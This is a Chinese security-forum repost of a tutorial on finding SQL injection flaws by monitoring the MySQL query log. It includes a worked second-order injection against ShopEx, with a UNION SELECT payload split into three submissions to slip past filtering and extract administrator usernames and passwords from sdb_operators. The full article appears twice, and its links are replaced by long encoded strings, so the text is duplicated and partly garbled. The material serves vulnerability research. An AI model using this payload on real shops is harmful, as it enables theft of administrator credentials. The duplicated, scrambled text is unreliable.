-
-
黑盒审计之注入漏洞挖掘思路分享
-
发表于: 2013-12-8 19:29 957
-
新闻链接:c09K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6e0u0U0N6r3!0Q4x3X3g2U0L8$3#2Q4x3V1k6m8M7Y4c8A6j5$3I4W2i4K6u0r3x3U0l9I4x3K6p5I4i4K6u0r3x3U0j5H3y4U0x3%4i4K6u0W2K9s2c8E0L8l9`.`.
新闻时间:2013-11-29
新闻正文:0x01 注入漏洞简介
注入漏洞是web应用中最常见的安全漏洞之一,由于一些程序没有过滤用户的输入,攻击者通过向服务器提交恶意的SQL查询语句,应用程序接收后错误的将攻击者的输入作为原始SQL查询语句的一部分执行,导致改变了程序原始的SQL查询逻辑,额外的执行了攻击者构造的SQL查询语句,从而导致注入漏洞的产生。
攻击者通过SQL注入可以从数据库获取敏感信息,或者利用数据库的特性执行添加用户,导出文件等一系列恶意操作。常见的建站系统出现SQL注入漏洞风险概率是非常高的,而本文就SQL注入漏洞的挖掘方法和大家分享交流,其他web安全漏洞暂不做探讨。
0x02 漏洞挖掘思路
我们知道在源码审计中这样的SQL注入漏洞很容易被发现,但是对于我们这样不会代码审计又想要挖漏洞的小菜来说该怎么办?那就要讲究方法了,这里和大家分享下我平时挖掘漏洞的一些思路。
首先一个好的测试环境很重要,这样我们可以在短时间内准确的找出注入的位置。在挖注入漏洞之前我们开启MySQL查询日志功能,因为有没有注入的发生,日志里面都可以最直观的看到。
然后用某个文本查看软件看日志文件打开网站程序里面执行的SQL(我这里用的是Bare Tail)
8bbK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6e0u0U0N6r3!0Q4x3X3g2U0L8$3#2Q4x3V1k6#2M7r3I4G2j5h3c8X3K9h3I4W2i4K6u0r3x3U0l9I4x3#2)9J5c8U0p5I4x3U0W2Q4x3V1j5J5x3o6p5K6x3e0p5J5z5e0p5J5x3U0j5@1x3K6R3#2y4q4)9J5k6i4m8F1k6H3`.`.
接着就是找输入点了,这个是重点 (这个过程也要仔细观察mysql查询日志)。
有些输入点信息,程序没有过滤直接查询数据库,就造成了注入,
例如,我GET提交:9b4K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3I4G2j5$3q4D9K9r3!0K6N6q4)9J5c8X3W2F1k6r3g2^5x3W2)9J5k6i4m8Z5M7q4)9K6c8X3W2V1i4K6y4p5x3h3p5`.
在监控的MYSQL日志中跟随1a,此处出现id=1a,可以看出该处未作处理,
170K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6e0u0U0N6r3!0Q4x3X3g2U0L8$3#2Q4x3V1k6#2M7r3I4G2j5h3c8X3K9h3I4W2i4K6u0r3x3U0l9I4x3#2)9J5c8U0p5I4x3U0W2Q4x3V1j5J5x3o6p5K6x3e0p5J5z5e0p5J5x3U0j5@1y4K6M7%4x3W2)9J5k6i4m8F1k6H3`.`.
并且是一个整型变量,且在单引号外面,
那么我们提交一下URL即可注入,获取数据任意信息。7bdK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3I4G2j5$3q4D9K9r3!0K6N6q4)9J5c8X3W2F1k6r3g2^5x3W2)9J5k6i4m8Z5M7q4)9K6c8X3W2V1i4K6y4p5x3g2)9J5y4e0t1H3N6h3&6A6L8$3&6Q4x3U0f1J5x3s2y4W2L8r3g2U0N6q4)9J5y4e0t1H3N6i4y4W2M7W2)9J5y4e0t1^5i4K6t1#2x3U0W2Q4x3U0f1J5x3r3k6J5L8$3#2Q4x3U0f1J5x3s2g2K6k6i4t1`.
71aK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6e0u0U0N6r3!0Q4x3X3g2U0L8$3#2Q4x3V1k6#2M7r3I4G2j5h3c8X3K9h3I4W2i4K6u0r3x3U0l9I4x3#2)9J5c8U0p5I4x3U0W2Q4x3V1j5J5x3o6p5K6x3e0p5J5z5e0p5J5x3U0j5@1z5o6V1&6z5q4)9J5k6i4m8F1k6H3`.`.
实际的提交需要根据数据库中查询的语句来构造。
还有一种情况输入点的信息保存到数据库中,或者服务器的session中二次读取时未处理也可导致注入,这种二次注入很多都是不受单引号影响,所以相对来说好利用,危害也是非常大,在mysql日志中跟随输入点的信息,这时一定要仔细调试,一旦出现该信息,我们可以看出是否可利用,根据相关情况构造注入语句。
0x03 Shopex漏洞实例
以shopex漏洞挖掘为例,shopex为部分源码加密,解密较为繁琐,涉及文件太多,进行代码审计需要耗费很多时间,然而利用上面的方法即可轻松找出漏洞。
打开网站,登录后我们随便来到一个产品页面,点击收藏该产品的时候,查看post的信息,其中的75是我们产品的ID,该处也是个输入点。
193K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6e0u0U0N6r3!0Q4x3X3g2U0L8$3#2Q4x3V1k6#2M7r3I4G2j5h3c8X3K9h3I4W2i4K6u0r3x3U0l9I4x3#2)9J5c8U0p5I4x3U0W2Q4x3V1j5J5x3o6p5K6x3e0p5J5z5e0p5J5x3U0j5@1z5e0V1&6x3g2)9J5k6i4m8F1k6H3`.`.
我们将其改为74a在提交一次试试,跟随SQL日志,可以看到其执行的语句为。
54dK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6e0u0U0N6r3!0Q4x3X3g2U0L8$3#2Q4x3V1k6#2M7r3I4G2j5h3c8X3K9h3I4W2i4K6u0r3x3U0l9I4x3#2)9J5c8U0p5I4x3U0W2Q4x3V1j5J5x3o6p5K6x3e0p5J5z5e0p5J5x3U0j5#2x3U0x3I4y4#2)9J5k6i4m8F1k6H3`.`.
可以看到该处是没有经过过滤的,74a已经成功写入数据库了,如果二次取出时也没有过滤将造成注入,我们再来到会员中心页面,该处会在正常操作下显示我们收藏商品。
4c8K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6e0u0U0N6r3!0Q4x3X3g2U0L8$3#2Q4x3V1k6#2M7r3I4G2j5h3c8X3K9h3I4W2i4K6u0r3x3U0l9I4x3#2)9J5c8U0p5I4x3U0W2Q4x3V1j5J5x3o6p5K6x3e0p5J5z5e0p5J5x3U0j5#2y4e0V1I4x3#2)9J5k6i4m8F1k6H3`.`.
此时查看数据库执行日志发现74a已经出现了,由此可以判断该处存在二次注入。
由于这里是组合而成的,我们构造好注入语句然后拆分提交,即可绕过首页的过滤
eb1K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3I4G2j5$3q4D9K9r3!0K6N6q4)9J5c8X3W2F1k6r3g2^5i4K6u0W2M7r3S2H3i4K6y4r3L8h3g2E0j5X3g2J5i4K6u0V1f1#2q4x3i4K6u0V1j5h3A6S2P5p5q4V1k6p5k6S2N6W2)9J5k6h3S2@1L8h3H3`.
我们将上面的SQL替换成以下信息,分三次提交:
0)/**/union/**
**/select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,concat(username,0x7c,userpass),23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81/**
**/from sdb_operatorslimit 1%23
来到会员中心页面在产品收藏处可以看到管理员信息。
fe7K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6e0u0U0N6r3!0Q4x3X3g2U0L8$3#2Q4x3V1k6#2M7r3I4G2j5h3c8X3K9h3I4W2i4K6u0r3x3U0l9I4x3#2)9J5c8U0p5I4x3U0W2Q4x3V1j5J5x3o6p5K6x3e0p5J5z5e0p5J5x3U0j5#2y4U0V1H3x3W2)9J5k6i4m8F1k6H3`.`.
观察数据库日志可以看到此时执行的SQL语句为
Query SELECT aGoods.*,aGimage.thumbnail FROM sdb_goods as aGoods left joinsdb_gimages as aGimage on aGoods.image_default=aGimage.gimage_id WHEREaGoods.goods_id IN (0)/**/union/**,**/select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,concat(username,0x7c,userpass),23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81/**,**/fromsdb_operators limit 1#) LIMIT 0, 10
补丁地址:5f8K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3u0T1M7#2)9J5k6i4y4Z5L8%4m8W2P5q4)9J5k6h3y4F1i4K6u0r3M7X3g2S2k6q4)9J5k6i4m8Z5M7q4)9K6c8Y4c8A6k6q4)9J5k6o6x3H3z5o6b7J5x3#2)9J5k6h3S2@1L8h3H3`.
0x04 总结
这个半黑盒测试的流程是:
开启查询日志------查找输入点-------跟随输入信息--------是否可利用-------构造注入语句
此过程中的重点就是找输入点和跟随输入信息。
输入点是我们实施注入的入口点,我们必须有效控制这些才能实现注入,这些输入点可以包含其中一些:
1)表单提交,主要是POST请求,也包括GET请求。
2)URL参数提交,主要为GET请求参数。
3)Cookie参数提交。
4)HTTP请求头部的一些可修改的值,比如Referer、User_Agent等。
5)一些边缘的输入点,比如.jpg文件的一些文件信息等。
有些程序采用了一些错误处理,就算SQL查询语句出错了也是没有任何报错的,这个时候我们只能通过监视SQL查询日志来判断了,一旦有注入漏洞的产生这里将是最先看到。
熟练运用该方法基本可以找到程序中所有的注入漏洞,且不需要太懂代码,要得只是耐心和细心
新闻时间:2013-11-29
新闻正文:0x01 注入漏洞简介
注入漏洞是web应用中最常见的安全漏洞之一,由于一些程序没有过滤用户的输入,攻击者通过向服务器提交恶意的SQL查询语句,应用程序接收后错误的将攻击者的输入作为原始SQL查询语句的一部分执行,导致改变了程序原始的SQL查询逻辑,额外的执行了攻击者构造的SQL查询语句,从而导致注入漏洞的产生。
攻击者通过SQL注入可以从数据库获取敏感信息,或者利用数据库的特性执行添加用户,导出文件等一系列恶意操作。常见的建站系统出现SQL注入漏洞风险概率是非常高的,而本文就SQL注入漏洞的挖掘方法和大家分享交流,其他web安全漏洞暂不做探讨。
0x02 漏洞挖掘思路
我们知道在源码审计中这样的SQL注入漏洞很容易被发现,但是对于我们这样不会代码审计又想要挖漏洞的小菜来说该怎么办?那就要讲究方法了,这里和大家分享下我平时挖掘漏洞的一些思路。
首先一个好的测试环境很重要,这样我们可以在短时间内准确的找出注入的位置。在挖注入漏洞之前我们开启MySQL查询日志功能,因为有没有注入的发生,日志里面都可以最直观的看到。
然后用某个文本查看软件看日志文件打开网站程序里面执行的SQL(我这里用的是Bare Tail)
8bbK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6e0u0U0N6r3!0Q4x3X3g2U0L8$3#2Q4x3V1k6#2M7r3I4G2j5h3c8X3K9h3I4W2i4K6u0r3x3U0l9I4x3#2)9J5c8U0p5I4x3U0W2Q4x3V1j5J5x3o6p5K6x3e0p5J5z5e0p5J5x3U0j5@1x3K6R3#2y4q4)9J5k6i4m8F1k6H3`.`.
接着就是找输入点了,这个是重点 (这个过程也要仔细观察mysql查询日志)。
有些输入点信息,程序没有过滤直接查询数据库,就造成了注入,
例如,我GET提交:9b4K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3I4G2j5$3q4D9K9r3!0K6N6q4)9J5c8X3W2F1k6r3g2^5x3W2)9J5k6i4m8Z5M7q4)9K6c8X3W2V1i4K6y4p5x3h3p5`.
在监控的MYSQL日志中跟随1a,此处出现id=1a,可以看出该处未作处理,
170K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6e0u0U0N6r3!0Q4x3X3g2U0L8$3#2Q4x3V1k6#2M7r3I4G2j5h3c8X3K9h3I4W2i4K6u0r3x3U0l9I4x3#2)9J5c8U0p5I4x3U0W2Q4x3V1j5J5x3o6p5K6x3e0p5J5z5e0p5J5x3U0j5@1y4K6M7%4x3W2)9J5k6i4m8F1k6H3`.`.
并且是一个整型变量,且在单引号外面,
那么我们提交一下URL即可注入,获取数据任意信息。7bdK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3I4G2j5$3q4D9K9r3!0K6N6q4)9J5c8X3W2F1k6r3g2^5x3W2)9J5k6i4m8Z5M7q4)9K6c8X3W2V1i4K6y4p5x3g2)9J5y4e0t1H3N6h3&6A6L8$3&6Q4x3U0f1J5x3s2y4W2L8r3g2U0N6q4)9J5y4e0t1H3N6i4y4W2M7W2)9J5y4e0t1^5i4K6t1#2x3U0W2Q4x3U0f1J5x3r3k6J5L8$3#2Q4x3U0f1J5x3s2g2K6k6i4t1`.
71aK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6e0u0U0N6r3!0Q4x3X3g2U0L8$3#2Q4x3V1k6#2M7r3I4G2j5h3c8X3K9h3I4W2i4K6u0r3x3U0l9I4x3#2)9J5c8U0p5I4x3U0W2Q4x3V1j5J5x3o6p5K6x3e0p5J5z5e0p5J5x3U0j5@1z5o6V1&6z5q4)9J5k6i4m8F1k6H3`.`.
实际的提交需要根据数据库中查询的语句来构造。
还有一种情况输入点的信息保存到数据库中,或者服务器的session中二次读取时未处理也可导致注入,这种二次注入很多都是不受单引号影响,所以相对来说好利用,危害也是非常大,在mysql日志中跟随输入点的信息,这时一定要仔细调试,一旦出现该信息,我们可以看出是否可利用,根据相关情况构造注入语句。
0x03 Shopex漏洞实例
以shopex漏洞挖掘为例,shopex为部分源码加密,解密较为繁琐,涉及文件太多,进行代码审计需要耗费很多时间,然而利用上面的方法即可轻松找出漏洞。
打开网站,登录后我们随便来到一个产品页面,点击收藏该产品的时候,查看post的信息,其中的75是我们产品的ID,该处也是个输入点。
193K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6e0u0U0N6r3!0Q4x3X3g2U0L8$3#2Q4x3V1k6#2M7r3I4G2j5h3c8X3K9h3I4W2i4K6u0r3x3U0l9I4x3#2)9J5c8U0p5I4x3U0W2Q4x3V1j5J5x3o6p5K6x3e0p5J5z5e0p5J5x3U0j5@1z5e0V1&6x3g2)9J5k6i4m8F1k6H3`.`.
我们将其改为74a在提交一次试试,跟随SQL日志,可以看到其执行的语句为。
54dK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6e0u0U0N6r3!0Q4x3X3g2U0L8$3#2Q4x3V1k6#2M7r3I4G2j5h3c8X3K9h3I4W2i4K6u0r3x3U0l9I4x3#2)9J5c8U0p5I4x3U0W2Q4x3V1j5J5x3o6p5K6x3e0p5J5z5e0p5J5x3U0j5#2x3U0x3I4y4#2)9J5k6i4m8F1k6H3`.`.
可以看到该处是没有经过过滤的,74a已经成功写入数据库了,如果二次取出时也没有过滤将造成注入,我们再来到会员中心页面,该处会在正常操作下显示我们收藏商品。
4c8K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6e0u0U0N6r3!0Q4x3X3g2U0L8$3#2Q4x3V1k6#2M7r3I4G2j5h3c8X3K9h3I4W2i4K6u0r3x3U0l9I4x3#2)9J5c8U0p5I4x3U0W2Q4x3V1j5J5x3o6p5K6x3e0p5J5z5e0p5J5x3U0j5#2y4e0V1I4x3#2)9J5k6i4m8F1k6H3`.`.
此时查看数据库执行日志发现74a已经出现了,由此可以判断该处存在二次注入。
由于这里是组合而成的,我们构造好注入语句然后拆分提交,即可绕过首页的过滤
eb1K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3I4G2j5$3q4D9K9r3!0K6N6q4)9J5c8X3W2F1k6r3g2^5i4K6u0W2M7r3S2H3i4K6y4r3L8h3g2E0j5X3g2J5i4K6u0V1f1#2q4x3i4K6u0V1j5h3A6S2P5p5q4V1k6p5k6S2N6W2)9J5k6h3S2@1L8h3H3`.
我们将上面的SQL替换成以下信息,分三次提交:
0)/**/union/**
**/select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,concat(username,0x7c,userpass),23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81/**
**/from sdb_operatorslimit 1%23
来到会员中心页面在产品收藏处可以看到管理员信息。
fe7K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6e0u0U0N6r3!0Q4x3X3g2U0L8$3#2Q4x3V1k6#2M7r3I4G2j5h3c8X3K9h3I4W2i4K6u0r3x3U0l9I4x3#2)9J5c8U0p5I4x3U0W2Q4x3V1j5J5x3o6p5K6x3e0p5J5z5e0p5J5x3U0j5#2y4U0V1H3x3W2)9J5k6i4m8F1k6H3`.`.
观察数据库日志可以看到此时执行的SQL语句为
Query SELECT aGoods.*,aGimage.thumbnail FROM sdb_goods as aGoods left joinsdb_gimages as aGimage on aGoods.image_default=aGimage.gimage_id WHEREaGoods.goods_id IN (0)/**/union/**,**/select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,concat(username,0x7c,userpass),23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81/**,**/fromsdb_operators limit 1#) LIMIT 0, 10
补丁地址:5f8K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3u0T1M7#2)9J5k6i4y4Z5L8%4m8W2P5q4)9J5k6h3y4F1i4K6u0r3M7X3g2S2k6q4)9J5k6i4m8Z5M7q4)9K6c8Y4c8A6k6q4)9J5k6o6x3H3z5o6b7J5x3#2)9J5k6h3S2@1L8h3H3`.
0x04 总结
这个半黑盒测试的流程是:
开启查询日志------查找输入点-------跟随输入信息--------是否可利用-------构造注入语句
此过程中的重点就是找输入点和跟随输入信息。
输入点是我们实施注入的入口点,我们必须有效控制这些才能实现注入,这些输入点可以包含其中一些:
1)表单提交,主要是POST请求,也包括GET请求。
2)URL参数提交,主要为GET请求参数。
3)Cookie参数提交。
4)HTTP请求头部的一些可修改的值,比如Referer、User_Agent等。
5)一些边缘的输入点,比如.jpg文件的一些文件信息等。
有些程序采用了一些错误处理,就算SQL查询语句出错了也是没有任何报错的,这个时候我们只能通过监视SQL查询日志来判断了,一旦有注入漏洞的产生这里将是最先看到。
熟练运用该方法基本可以找到程序中所有的注入漏洞,且不需要太懂代码,要得只是耐心和细心
赞赏
赞赏
雪币:
留言: